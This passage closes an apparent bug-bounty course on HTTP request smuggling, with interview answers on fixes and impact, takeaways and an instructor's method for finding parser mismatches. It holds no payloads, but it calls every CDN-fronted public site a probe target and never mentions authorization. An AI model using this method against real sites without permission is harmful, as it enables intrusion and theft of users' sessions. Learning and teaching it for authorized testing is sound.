- ●If asked "how do you prevent it", say "HTTP/2 end to end is the architectural fix. Failing that, normalize headers at the edge, reject ambiguous CL+TE requests, disable back-end connection reuse, and keep every server in the chain patched."
- ●If asked "what is the impact", say "Bypassing front-end security controls, capturing other users' requests with their cookies, web cache poisoning, response queue poisoning, and tunneling other vulnerabilities like SQL injection or XSS past WAFs."
Key Takeaways
- ●Smuggling is an infrastructure bug, not an application bug. Patch your servers.
- ●CL.TE and TE.CL are the foundation. Master both before touching H2 variants.
- ●Always confirm with a differential response, never report on timing alone.
- ●Byte-level precision matters. Get used to counting `\r\n` as 2 bytes.
- ●The newest 2025 vectors (chunk extensions, OPTIONS+body, parser discrepancy) come from automated fuzzing. Run Burp Smuggler v3 and smugglefuzz on every target.
- ●HTTP/2 end to end is the real fix. Demand it from your infra team.
SECTION 24. Final Word from Your Instructor
HTTP request smuggling is the most elegant bug class on the web. It does not exploit a buffer overflow, it does not inject SQL, it does not break crypto. It exploits the gap between two parsers that read the same bytes differently. That gap exists because the HTTP/1.1 specification was written in 1999, and the modern web layered CDNs, load balancers, WAFs, and microservices on top of it. Every layer reads the bytes slightly differently. Every difference is a potential exploit.
When you see a website backed by Cloudflare, by Akamai, by AWS, by Google Cloud, you are looking at a request path with at least three parsers in it. Each parser belongs to a different team. Each team patched their parser at a different time. Each parser handles obscure RFC corners differently. Somewhere in that chain there is almost always an ambiguity. Your job is to find it.
Your job is not to memorize every CVE. CVEs are the footprints of past smuggling researchers. Your job is to understand the principle so deeply that you can find the next CVE yourself. The principle is one line: any two HTTP parsers that disagree on byte boundaries can be exploited to inject a request into the next user's stream. That is the entire bug class. Burn it into your brain.
When you encounter a target, ask three questions. First, how many HTTP servers are in the path? Read the response headers. Second, do they speak the same protocol end to end? If you see HTTP/2 on the front but HTTP/1.1 on the back, downgrade ambiguity is in play. Third, when you send a request with both Content-Length and Transfer-Encoding, what does the back-end do with the leftover bytes? Send a timing probe. Send a differential confirmation. The rest follows from those three questions.
You will encounter many false leads. Most of what looks like smuggling is HTTP pipelining or a slow back-end. Confirm with a differential response every time. You will encounter scanners that flag "Probable" smuggling on every target; ignore them, look for "Confirmed". You will encounter triagers who do not understand the bug; write your report with two screenshots and a raw payload file, and be patient.
The reward for mastering this bug class is steep. Smuggling bounties on top-tier programs pay $5,000 to $20,000 per chain. The Akamai disclosure paid $50,000+ over its history. The James Kettle research papers from 2019, 2021, and 2022 are required reading; read them once, build hands-on practice with smuggling labs, then read them again and you will see new vectors you missed.
You are no longer a beginner. You know the protocol, the variants, the techniques, the tools, the CVEs, the impacts, the fixes. Every public website with a CDN in front is a candidate. Every login form, every API endpoint, every OPTIONS handler is a probe target.
Go hunt.